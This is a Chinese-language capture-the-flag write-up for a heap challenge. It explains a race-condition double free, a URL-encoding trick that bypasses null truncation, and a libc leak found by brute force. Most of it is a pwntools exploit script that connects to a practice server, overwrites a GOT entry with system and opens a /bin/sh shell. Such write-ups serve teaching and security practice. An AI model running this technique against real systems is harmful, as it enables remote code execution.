首先,检查一下程序的保护机制
然后,我们用IDA分析一下
Count功能开启了一个线程
该线程会异步进行堆的free操作,其中注意到free(ptr[i]->name)后,没有将name指针清零,并且该循环尾部会休眠1s。
结尾会将ptr指针清零
在add函数中,如果name已存在,那么仅更新count和flag。
因此,我们在ptr[i]被清零之前,通过add更新count和flag,这样,name就会被二次free,也就是存在条件竞争double free漏洞。
通过实验,发现在线程里调用free释放主线程里的堆后,只有当线程结束以后,堆chunk才会被放到主线程的arena里,并且不会放到tcache bin里 ,而是直接放到其他bin里。因此,我们可以构造fastbin的double free。
Add功能中,malloc的大小是解码前的数据大小,而复制的大小则是解码后的字符串计算长度。因此,[将\x00数据进行URL编码,从而可以绕过第一次strlen计算的0截断问题。]{.mark}
Echo功能可以用来泄露栈上的数据,但是本地栈和远程栈有些不一样,因此,我们猜测远程的数据为libc中的某个地址,然后通过多次枚举爆破,可以得到远程的libc地址。
爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *import urlliblibc = ELF('./libc-2.27.so' ) def add (content,count ): payload = 'POST /add Connection: keep-alive\n\n' payload += 'memo=' + content + '&count=' + str (count) sh.sendline(payload) sh.recvuntil('{"status":"ok"}' ) def delete (): payload = 'POST /count Connection: keep-alive\n\n' sh.sendline(payload) sh.recvuntil('{"status":"ok"}' ) def show (): payload = 'GET /list Connection: keep-alive\n\n' sh.sendline(payload) sh.recvuntil('Content-Type: text/html' ) def echo (content ): payload = 'POST /echo Connection: keep-alive\n\n' payload += 'content=' + content sh.send(payload) def exploit (x ): echo('a' *0x38 ) sh.recvuntil('a' *0x38 ) offset = (x << 12 ) + 0x9d0 libc_base = u64(sh.recvuntil('"}' ,drop = True ).ljust(8 ,'\x00' )) - offset if libc_base >> 40 != 0x7F : raise Exception('leak error!' ) system_addr = libc_base + libc.sym['system' ] print 'libc_base=' ,hex (libc_base) print 'system_addr=' ,hex (system_addr) add('a' *0x30 ,1 ) add('b' *0x30 ,1 ) add('c' *0x30 ,1 ) add('d' *0x40 ,3 ) delete() sleep(2 ) show() sh.recvuntil('count</th></tr><tr><td></td><td>0</td></tr><tr><td>' ) name = sh.recvuntil('</td>' ,drop = True ) heap_addr = u64(name.ljust(8 ,'\x00' )) print 'heap_addr=' ,hex (heap_addr) add(name,1 ) fake_chunk_got = 0x000000000060306A sleep(3 ) add(urllib.quote(p32(0x60306A ).ljust(0x30 , 'a' )),0x100 ) add('a' *0x30 ,0x100 ) add('b' *0x30 ,0x100 ) payload = 'c' *0x16 + urllib.quote(p64(system_addr)) payload = payload.ljust(0x30 ,'c' ) add(payload,0x100 ) sh.send('/bin/sh\x00' ) sh.interactive() for x in range (0xFF ): print 'x=' ,hex (x) while True : try : global sh sh = remote('node3.buuoj.cn' ,25344 ) exploit(x) break except Exception as e: print 'trying...' sh.close()